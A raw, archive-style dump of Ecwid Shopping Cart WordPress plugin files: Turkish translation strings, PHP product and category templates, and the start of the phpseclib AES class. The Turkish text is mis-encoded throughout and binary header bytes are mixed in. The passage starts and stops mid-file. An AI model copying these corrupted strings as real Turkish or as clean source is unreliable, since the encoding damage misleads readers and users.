your store<br /> to this WordPress site�Kayıt Ol�Ecwid'e ücretsiz kayıt olun�Responsive design�Save and connect�DeÄŸiÅŸiklikleri kaydet�Secure checkout with over 40<br />payment options�Ecwid maÄŸazası<br>ile Her Yerde Satın�Ecwid iOS uygulamasıyla Hareket Halinde Satın�Ecwid MaÄŸaza Kurulumu�Kurulum�MaÄŸaza�Shopping Cart�Shopping Cart (Mini)�Show categories�Show minicart�Show search�Tek giriÅŸ (Single Sign-On) Gizli Anahtarı�Tek giriÅŸ (Single Sign-On) gizli anahtarı müşterilerinizin WordPress sayfanızı Ecwid sayfanızı ziyaret eder gibi görüntülemelerini saÄŸlar. Müşteriler sitenize giriÅŸ yaptıklarında otomatik olarak Ecwid maÄŸazanıza da giriÅŸ yaparlar. Ziyaretçileriniz WordPress sayfanızda hesap oluÅŸturmaya baÅŸladığında bu özelliÄŸi kullanabilirsiniz.�Satmaya baÅŸlayın�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�MaÄŸaza�Store Categories�MaÄŸaza ID�Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Store Link Title�Store Page Link�MaÄŸaza kök kategorisi�Store settings�Tablo�Tablo görünümü�MaÄŸaza kurulumu için birkaç basit adımı tamamlayın�The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the "Show categories" option)�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�Ek özellikleri kullanabilmek için Ecwid maÄŸaza elemanlarını sitenize sürükleyerek bırakınız. İşlemlerinizi tamamladıktan sonra ayarlarınızı deÄŸiÅŸtirmeye devam edebilirsiniz.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�MaÄŸazayı Ziyaret Et�MaÄŸazayı ziyaret et�Where to find your Store ID:�You have not viewed any product yet. Open store.�Web sitenize küçük alışveriÅŸ sepeti eklediyseniz bu ayarı devre dışı bırakınız�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your Ecwid store is connected<br /> to your WordPress website�Your Ecwid store is now connected<br /> to your WordPress website�MaÄŸazanız neredeyse hazır!�Your store looks perfect<br />on all devices�MaÄŸazanız burada görünecek!�Your storefront is ready�→ Facebook ile sat�PK������Ê—[ØÍßS��ßS��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-tr_TR.ponu�„[µü¤��������msgid "Ecwid Shopping Cart" msgstr "" msgid "Ecwid Team" msgstr "Ecwid Team" msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid, ücretsiz ve tam özellikli bir alışveriÅŸ sepetidir. BeÅŸ dakikadan daha kısa bir sürede kurulabilir ve her hangi bir Wordpress bloÄŸuyla bütünleÅŸtirilebilir." msgid "Get help" msgstr "Yardım alın" msgid "Go to Ecwid site" msgstr "Ecwid web sitesine git" msgid "Visit storefront" msgstr "MaÄŸazayı ziyaret et" msgid "Manage my store" msgstr "MaÄŸaza yönetimi" msgid "Manage plugin settings" msgstr "Plugin ayarlarını deÄŸiÅŸtir" msgid "→ Sell on Facebook" msgstr "→ Facebook ile sat" msgid "<a %s>Online store powered by Ecwid</a>" msgstr "<a %s>Ecwid online maÄŸaza çözümleri</a>" msgid "Store" msgstr "MaÄŸaza" msgid "Ecwid shopping cart settings" msgstr "Ecwid alışveriÅŸ sepeti ayarları" msgid "Ecwid Store" msgstr "EÑwid MaÄŸazası" msgid "Setup" msgstr "Kurulum" msgid "Dashboard" msgstr "Kontrol paneli" msgid "Appearance settings" msgstr "Görünüm ayarları" msgid "Appearance" msgstr "Görünüm" msgid "Advanced settings" msgstr "GeliÅŸmiÅŸ ayarlar" msgid "Advanced" msgstr "GeliÅŸmiÅŸ" msgid "Hidden category" msgstr "Gizli kategori" msgid "Recommendations for Your Online Store" msgstr "Çevrimiçi MaÄŸazanız için Öneriler" msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgid "Ecwid Badge" msgstr "Ecwid Yaması" msgid "Ecwid shopping cart widget" msgstr "Ecwid alışveriÅŸ sepeti widgeti" msgid "Ecwid ecommerce solution" msgstr "Ecwid e-ticaret çözümü" msgid "Ecwid free shopping cart" msgstr "Ecwid ücretsiz alışveriÅŸ sepeti" msgid "Ecwid shopping cart" msgstr "Ecwid alışveriÅŸ sepeti" msgid "Ecwid e-commerce widgets" msgstr "Ecwid e-ticaret widgetleri" msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Adds a cart widget for customer to see the products they added to the cart." msgid "Shopping Cart" msgstr "Shopping Cart" msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Adds a compact cart widget for customer to see the products they added to the cart." msgid "Shopping Cart (Mini)" msgstr "Shopping Cart (Mini)" msgid "Displays a simple search box for your customers to find a product in your storex" msgstr "Displays a simple search box for your customers to find a product in your storex" msgid "Product Search" msgstr "Product Search" msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Adds vertical categories block to let the customer navigate your store." msgid "Store Categories" msgstr "Store Categories" msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgid "Store Page Link" msgstr "Store Page Link" msgid "Shop" msgstr "MaÄŸaza" msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgid "Recently Viewed Products" msgstr "Recently Viewed Products" msgid "You have not viewed any product yet. Open store." msgstr "You have not viewed any product yet. Open store." msgid "Store Link Title" msgstr "Store Link Title" msgid "Number of products to show" msgstr "Number of products to show" msgid "Greetings! Your Ecwid store is now active." msgstr "Tebrikler! Ecwid maÄŸazanız artık etkin." msgid "Take a few simple steps to complete store setup" msgstr "MaÄŸaza kurulumu için birkaç basit adımı tamamlayın" msgid "Set up Ecwid Store" msgstr "Ecwid MaÄŸaza Kurulumu" msgid "Good job! Your store is set up and you're ready to sell." msgstr "Güzel! MaÄŸazanız kuruldu, sipariÅŸleri kabul edebilirsiniz." msgid "Now you can fine-tune your store's appearance" msgstr "Artık maÄŸaza görünümünü deÄŸiÅŸtirebilirsiniz" msgid "Visit Storefront" msgstr "MaÄŸazayı Ziyaret Et" msgid "Configure Appearance" msgstr "Görünümü DeÄŸiÅŸtir" msgid "Your store is almost ready!" msgstr "MaÄŸazanız neredeyse hazır!" msgid "Connect your Ecwid account with this site to complete setup and start selling" msgstr "Kurulumu tamamlamak ve satışa baÅŸlayabilmek için Ecwid hesabınıza baÄŸlananın" msgid "Connect Your Ecwid Store" msgstr "Ecwid MaÄŸazanıza BaÄŸlanın" msgid "To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Ek özellikleri kullanabilmek için Ecwid maÄŸaza elemanlarını sitenize sürükleyerek bırakınız. İşlemlerinizi tamamladıktan sonra ayarlarınızı deÄŸiÅŸtirmeye devam edebilirsiniz." msgid "Back to Store Settings" msgstr "MaÄŸaza Ayarlarına Dön" msgid "Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site." msgstr "Ecwid online maÄŸazasını sevdiniz mi? Wordpress sayfasında eklentimizi oylamanız ve görüşlerinizi bildirmeniz bizi çok memnun edecektir." msgid "Rate Ecwid at WordPress.org" msgstr "WordPress.org sitesinde Ecwid uygulamasını oylayın" msgid "Add Store" msgstr "MaÄŸaza Ekle" msgid "Edit Store" msgstr "MaÄŸazayı Düzenle" msgid "Edit Appearance" msgstr "Görünümü Düzenle" msgid "Price" msgstr "Fiyat" msgid "Never show this message again" msgstr "Bu mesajı bir daha gösterme" msgid "Ecwid Shopping Cart — Advanced settings" msgstr "Ecwid AlışveriÅŸ Sepeti — GeliÅŸmiÅŸ ayarlar" msgid "Category shown by default" msgstr "Varsayılan kategori görünümü" msgid "Store root category" msgstr "MaÄŸaza kök kategorisi" msgid "Default category ID" msgstr "Varsayılan kategori ID" msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "MaÄŸaza varsayılan olarak kök kategorilerin listesini görüntüler. Bu ayarı deÄŸiÅŸtirerek müşterilerinize belirli kategoriler görüntüleyebilirsiniz. Müşterilerinize maÄŸazanızı ilk ziyaretlerinde belirli kategoriler veya ürünler (örn. \"Yeni Ürünler\") göstermek istiyorsanız bu ayar iÅŸinize yarayabilir." msgid "In order to set this option, <a %s>find an ID of the necessary category</a> and save it here." msgstr "Bu ayarı deÄŸiÅŸtirmek için, <a %s>gerekli kategori IDsini bulun ve </a> buraya kaydedin." msgid "Single Sign-On Secret Key" msgstr "Tek giriÅŸ (Single Sign-On) Gizli Anahtarı" msgid "Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website." msgstr "Tek giriÅŸ (Single Sign-On) gizli anahtarı müşterilerinizin WordPress sayfanızı Ecwid sayfanızı ziyaret eder gibi görüntülemelerini saÄŸlar. Müşteriler sitenize giriÅŸ yaptıklarında otomatik olarak Ecwid maÄŸazanıza da giriÅŸ yaparlar. Ziyaretçileriniz WordPress sayfanızda hesap oluÅŸturmaya baÅŸladığında bu özelliÄŸi kullanabilirsiniz." msgid "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgstr "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgid "Chameleon skin <sup>beta</sup>" msgstr "Chameleon skin <sup>beta</sup>" msgid "Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog." msgstr "Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog." msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgstr "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgid "Enable the new category menu" msgstr "Enable the new category menu" msgid "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" msgstr "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" msgid "Save changes" msgstr "DeÄŸiÅŸiklikleri kaydet" msgid "Ecwid Shopping Cart — Appearance settings" msgstr "Ecwid AlışveriÅŸ Sepeti — Görünüm ayarları" msgid "Display search box above products" msgstr "Arama kutusunu ürünlerin üzerinde göster" msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Ya da arama kutusunu <a href=\"%s\">WordPress yerleÅŸik widgetlerını</a> kullanarak ekleyebilirsiniz" msgid "Display categories above products" msgstr "Display categories above products" msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Ya da dikey kategorileri sitenin araç çubuÄŸuna <a href=\"%s\">WordPress yerleÅŸik widgetlerını</a> kullanarak ekleyebilirsiniz" msgid "Enable minicart attached to categories" msgstr "Enable minicart attached to categories" msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "Web sitenize küçük alışveriÅŸ sepeti eklediyseniz bu ayarı devre dışı bırakınız" msgid "Number of categories per row" msgstr "Satır başına kategori sayısı" msgid "Number of products per page" msgstr "Sayfa başına ürün sayısı" msgid "Grid view" msgstr "Izgara görünümü" msgid "List view" msgstr "Liste görünümü" msgid "Table view" msgstr "Tablo görünümü" msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products." msgstr "Sayfa başına kaç adet ürün görüntüleneceÄŸini belirleyebilirsiniz. Bu seçenekler azami miktarları belirtmektedir. Tüm ürünleri görüntülemek için yeterli alan yok ise Ecwid sütunları tüm ürünleri gösterecek ÅŸekilde deÄŸiÅŸtirecektir." msgid "Default view mode on product pages" msgstr "Ürün sayfasının varsayılan görünümü" msgid "Grid" msgstr "Izgara" msgid "List" msgstr "Liste" msgid "Table" msgstr "Tablo" msgid "Default view mode on search results" msgstr "Arama sonuçlarının varsayılan görünümü" msgid "Connect your store<br /> to this WordPress site" msgstr "Connect your store<br /> to this WordPress site" msgid "Enter your Store ID" msgstr "Enter your Store ID" msgid "Connect Ecwid store" msgstr "Connect Ecwid store" msgid "Save and connect" msgstr "Save and connect" msgid "After clicking button you need to login and accept permissions to use our plugin" msgstr "Düğmeye tıkladıktan sonra eklentiyi kullanmak için giriÅŸ yapıp izinleri onaylamalısınız" msgid "Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again." msgstr "BaÄŸlantı hatası - düğmeye tıkladıktan sonra eklentiyi kullanmak için giriÅŸ yapıp izinleri onaylamalısınız. Lütfen tekrar deneyin." msgid "Where to find your Store ID:" msgstr "Where to find your Store ID:" msgid "Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgstr "Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgid "Don't have Ecwid account? Create it here" msgstr "Ecwid hesabınız yok mu? Burada oluÅŸturun" msgid "Questions? Visit <a %s>Ecwid support center</a>" msgstr "Questions? Visit <a %s>Ecwid support center</a>" msgid "Store ID" msgstr "MaÄŸaza ID" msgid "Disconnect store" msgstr "MaÄŸaza baÄŸlantısını kes" msgid "Congratulations!" msgstr "Tebrikler!" msgid "Your Ecwid store is now connected<br /> to your WordPress website" msgstr "Your Ecwid store is now connected<br /> to your WordPress website" msgid "Greetings!" msgstr "Tebrikler!" msgid "Your Ecwid store is connected<br /> to your WordPress website" msgstr "Your Ecwid store is connected<br /> to your WordPress website" msgid "Open control panel" msgstr "Kontrol panelini aç" msgid "Plugin is installed successfully!" msgstr "Eklenti baÅŸarıyla yüklendi!" msgid "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "There are just a few steps left to start selling<br /> on your WordPress site" msgid "There are few little steps left to start selling<br /> on your WordPress site" msgstr "There are few little steps left to start selling<br /> on your WordPress site" msgid "Register" msgstr "Kayıt Ol" msgid "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgstr "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgid "Connect" msgstr "BaÄŸlan" msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgid "Start selling" msgstr "Satmaya baÅŸlayın" msgid "Your storefront is ready" msgstr "Your storefront is ready" msgid "Create Ecwid store" msgstr "Ecwid MaÄŸazası oluÅŸtur" msgid "Connect your store" msgstr "MaÄŸazanızı baÄŸlayın" msgid "Free registration, No credit card required" msgstr "Ücretsiz kayıt, kredi kartı gerekli deÄŸil" msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgstr "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgid "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgstr "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgid "Already have Ecwid account?" msgstr "Already have Ecwid account?" msgid "Connect your store to Wordpress site" msgstr "Connect your store to Wordpress site" msgid "Don't have an Ecwid account?" msgstr "Don't have an Ecwid account?" msgid "Register at Ecwid for free" msgstr "Ecwid'e ücretsiz kayıt olun" msgid "No credit card required" msgstr "Kredi kartı gerekmez" msgid "Get ready to sell online" msgstr "Get ready to sell online" msgid "Sell Everywhere<br>with your Ecwid store" msgstr "Ecwid maÄŸazası<br>ile Her Yerde Satın" msgid "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgid "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgid "Features" msgstr "Features" msgid "Compatible with your theme" msgstr "Compatible with your theme" msgid "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgid "Free and always up to date" msgstr "Free and always up to date" msgid "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgstr "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgid "Responsive design" msgstr "Responsive design" msgid "Your store looks perfect<br />on all devices" msgstr "Your store looks perfect<br />on all devices" msgid "PCI-DSS Certified" msgstr "PCI-DSS Certified" msgid "Secure checkout with over 40<br />payment options" msgstr "Secure checkout with over 40<br />payment options" msgid "Global Reach" msgstr "Global Reach" msgid "More than 800,000 merchants in 175 countries" msgstr "More than 800,000 merchants in 175 countries" msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgid "Get Started, Create Ecwid Account" msgstr "Get Started, Create Ecwid Account" msgid "Connect your store to this site" msgstr "Connect your store to this site" msgid "Reconnect your store<br /> to this WordPress site" msgstr "Reconnect your store<br /> to this WordPress site" msgid "Reconnect Ecwid store" msgstr "Reconnect Ecwid store" msgid "New features available, reconnect to be in touch with our updates" msgstr "New features available, reconnect to be in touch with our updates" msgid "Questions? Visit <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid support center</a>" msgstr "Sorun mu yaşıyorsunuz? <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid destek merkezini</a> ziyaret edin" msgid "Store settings" msgstr "Store settings" msgid "Choose widgets to show" msgstr "Choose widgets to show" msgid "Product catalog will be shown automatically" msgstr "Product catalog will be shown automatically" msgid "Show search" msgstr "Show search" msgid "Show minicart" msgstr "Show minicart" msgid "Show categories" msgstr "Show categories" msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgid "Demo store" msgstr "Demo store" msgid "Ecwid plugin settings" msgstr "Ecwid plugin settings" msgid "Your store will be shown here!" msgstr "MaÄŸazanız burada görünecek!" msgid "Demo Store" msgstr "Deneme maÄŸazası" msgid "Sell On The Go with Ecwid iOS Application" msgstr "Ecwid iOS uygulamasıyla Hareket Halinde Satın" msgid "Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!" msgstr "Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!" msgid "Get Your Products Found on Google using XML Sitemap" msgstr "Get Your Products Found on Google using XML Sitemap" msgid "Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results." msgstr "Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results." msgid "Add Product Slider to Your Store" msgstr "MaÄŸazanıza Ürün Kaydırıcı Ekleyin" msgid "Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid" msgstr "Ecwid ile mükemmel bir ÅŸekilde çalışan WP Widgets Avalanche eklentisini indirerek sitenize süslü bir ürün kaydırıcısı ekleyin" PK������Ê—[N ‘+w��w��;��ecwid-shopping-cart/lib/html-catalog-templates/category.phpnu�„[µü¤�������� <?php if ( $main_category ): ?> <h1 class="category-name"><?php echo $main_category->name; ?></h1> <?php if ( $main_category->description ): ?> <div class="category-description"><?php echo $main_category->description; ?></div> <?php endif; ?> <?php endif; ?> <?php if ( $categories ): foreach ( $categories as $category ): ?> <div class="category-<?php echo $category->id; ?>"> <a href="<?php $cat = Ecwid_Category::get_by_id( $category->id ); echo $cat->get_link( $this->store_base_url ); ?>"> <?php echo EcwidPlatform::esc_html( $category->name ); ?> </a> </div> <?php endforeach; endif; ?> <?php if ( $products ): foreach ( $products as $product ): ?> <?php $product = Ecwid_Product::get_by_id($product->id); ?> <div class="product-<?php echo $product->id; ?>"> <span class="product-name"> <a href="<?php echo $product->get_link( $this->store_base_url ); ?>"> <?php echo EcwidPlatform::esc_html( $product->name ); ?> </a> </span> <span class="product-price"> <?php echo $product->defaultDisplayedPrice . ' ' . $formats->currency; ?> </span> </div> <?php endforeach; endif; ?> PK������Ê—[•jhÅ÷��÷��:��ecwid-shopping-cart/lib/html-catalog-templates/product.phpnu�„[µü¤�������� <div itemscope itemtype="http://schema.org/Product"> <h1 itemprop="name"><?php echo EcwidPlatform::esc_html( $product->name ); ?></h1> <p itemprop="sku"><?php echo EcwidPlatform::esc_html( $product->sku ); ?></p> <img itemprop="image" src="<?php echo EcwidPlatform::esc_attr( $product->originalImageUrl ); ?>" alt="<?php echo EcwidPlatform::esc_attr( $product->name . ' ' . $product->sku); ?>" /> <div itemprop="description"><?php echo isset( $product->seoDescription )&& !empty( $product->seoDescription ) ? $product->seoDescription : $product->description; ?></div> <div itemprop="offers" itemscope itemtype="http://schema.org/Offer"> <span itemprop="price" content="<?php echo EcwidPlatform::esc_html( $product->defaultDisplayedPrice ); ?>"><?php echo EcwidPlatform::esc_html( $formats->currencyPrefix . $product->defaultDisplayedPrice . $formats->currencySuffix ); ?></span> <span itemprop="priceCurrency" content="<?php echo EcwidPlatform::esc_attr( $formats->currency ); ?>"></span> <?php if ( !isset( $product->quantity) || $product->quantity > 0): ?><link itemprop="availability" href="http://schema.org/InStock" />In stock<?php endif; ?> <link itemprop="url" href="<?php if( !empty($product->seo_link) ) { echo $product->seo_link; } else { echo $product->url; }?>" /> </div> <?php if ( isset( $product->attributes ) && is_array( $product->attributes ) && !empty( $product->attributes) ): ?> <div class="attributes"> <?php foreach ( $product->attributes as $attribute ): ?> <div><?php echo $attribute->name . ':'; if ( isset( $attribute->internalName ) && $attribute->internalName == 'Brand' || isset( $attribute->type ) && $attribute->type == 'BRAND' ): ?><span itemprop="brand"><?php echo EcwidPlatform::esc_html( $attribute->value ); ?></span><?php else: echo EcwidPlatform::esc_html( $attribute->value ); endif; ?></div> <?php endforeach; ?></div> <?php endif; ?> <?php if ( isset( $product->options) && is_array( $product->options ) && !empty( $product->options ) ): ?> <?php foreach ( $product->options as $option ): ?> <div class="option"> <span class="name"><?php echo $option->name; ?></span> <span class="input"><?php if ( $option->type == 'TEXTAREA' ): ?> <textarea name="<?php echo EcwidPlatform::esc_attr( $option->name ); ?>"></textarea> <?php elseif ( $option->type == 'SELECT' ): ?> <select name="<?php echo EcwidPlatform::esc_attr( $option->name ); ?>"><?php foreach( $option->choices as $param ): ?> <option value="<?php echo EcwidPlatform::esc_attr( $param->text ); ?>"><?php echo EcwidPlatform::esc_html( $param->text ); echo ' '; echo EcwidPlatform::esc_html( $param->priceModifier ); ?></option><?php endforeach; ?> </select><?php elseif ( $option->type == 'RADIO' ): foreach ( $option->choices as $param ): ?> <?php echo sprintf( '<input type="radio" name="%s" value="%s" />%s (%s)', EcwidPlatform::esc_attr( $option->name ), EcwidPlatform::esc_attr( $param->text ), EcwidPlatform::esc_html( $param->text ), EcwidPlatform::esc_html( $param->priceModifier ) ); ?> <?php endforeach; ?> <?php elseif ( $option->type == 'CHECKBOX'): foreach ( $option->choices as $param ): ?> <?php echo sprintf( '<input type="checkbox" name="%s[]" value="%s" />%s (%s)', EcwidPlatform::esc_attr( $option->name ), EcwidPlatform::esc_attr( $param->text ), EcwidPlatform::esc_html( $param->text ), EcwidPlatform::esc_html( $param->priceModifier ) ); ?> <?php endforeach; ?> <?php else: ?> <input type="text" name="<?php echo EcwidPlatform::esc_attr( $option->name ); ?>" /><?php endif; ?> </span> </div> <?php endforeach; endif; ?> <?php if ( $product->galleryImages ) foreach ( $product->galleryImages as $image): ?><img src="<?php echo EcwidPlatform::esc_attr( $image->url ); ?>" alt="<?php echo EcwidPlatform::esc_attr( isset( $image->alt ) ? $image->alt : $product->name ); ?>" /> <?php endforeach; ?> </div>PK������Ê—[%’ eh��h��)��ecwid-shopping-cart/lib/phpseclib/AES.phpnu�„[µü¤��������<?php /** * Pure-PHP implementation of AES. * * Uses mcrypt, if available/possible, and an internal implementation, otherwise. * * PHP versions 4 and 5 * * NOTE: Since AES.php is (for compatibility and phpseclib-historical reasons) virtually * just a wrapper to Rijndael.php you may consider using Rijndael.php instead of * to save one include_once(). * * If {@link Crypt_AES::setKeyLength() setKeyLength()} isn't called, it'll be calculated from * {@link Crypt_AES::setKey() setKey()}. ie. if the key is 128-bits, the key length will be 128-bits. If it's 136-bits * it'll be null-padded to 192-bits and 192 bits will be the key length until {@link Crypt_AES::setKey() setKey()} * is called, again, at which point, it'll be recalculated. * * Since Crypt_AES extends Crypt_Rijndael, some functions are available to be called that, in the context of AES, don't * make a whole lot of sense. {@link Crypt_AES::setBlockLength() setBlockLength()}, for instance. Calling that function, * however possible, won't do anything (AES has a fixed block length whereas Rijndael has a variable one). * * Here's a short example of how to use this library: * <code> * <?php * include 'Crypt/AES.php'; * * $aes = new Crypt_AES(); * * $aes->setKey('abcdefghijklmnop'); * * $size = 10 * 1024; * $plaintext = ''; * for ($i = 0; $i < $size; $i++) { * $plaintext.= 'a'; * } * * echo $aes->decrypt($aes->encrypt($plaintext)); * ?> * </code> * * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @category Crypt * @package Crypt_AES * @author Jim Wigginton <terrafrost@php.net> * @copyright 2008 Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net */ /** * Include Crypt_Rijndael */ if (!class_exists('Ecwid_Crypt_Rijndael')) { include_once 'Rijndael.php'; } /**#@+ * @access public * @see Crypt_AES::encrypt() * @see Crypt_AES::decrypt() */ /** * Encrypt / decrypt using the Counter mode. * * Set to -1 since that's what Crypt/Random.php uses to index the CTR mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Counter_.28CTR.29 */ define('CRYPT_AES_MODE_CTR', CRYPT_MODE_CTR); /** * Encrypt / decrypt using the Electronic Code Book mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 */ define('CRYPT_AES_MODE_ECB', CRYPT_MODE_ECB); /** * Encrypt / decrypt using the Code Book Chaining mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29 */ define('CRYPT_AES_MODE_CBC', CRYPT_MODE_CBC); /** * Encrypt / decrypt using the Cipher Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher_feedback_.28CFB.29 */ define('CRYPT_AES_MODE_CFB', CRYPT_MODE_CFB); /** * Encrypt / decrypt using the Cipher Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Output_feedback_.28OFB.29 */ define('CRYPT_AES_MODE_OFB', CRYPT_MODE_OFB); /**#@-*/ /** * Pure-PHP implementation of AES. * * @package Crypt_AES * @author Jim Wigginton <terrafrost@php.net> * @access public */ class Ecwid_Crypt_AES extends Ecwid_Crypt_Rijndael { /** * The namespace used by the cipher for its constants. * * @see Crypt_Base::const_namespace * @var string * @access private */ var $const_namespace = 'AES'; /** * Dummy function * * Since Crypt_AES extends Crypt_Rijndael, this function is, technically, available, but it doesn't do anything. * * @see Crypt_Rijndael::setBlockLength() * @access public * @param int $length */ function setBlockLength($length) 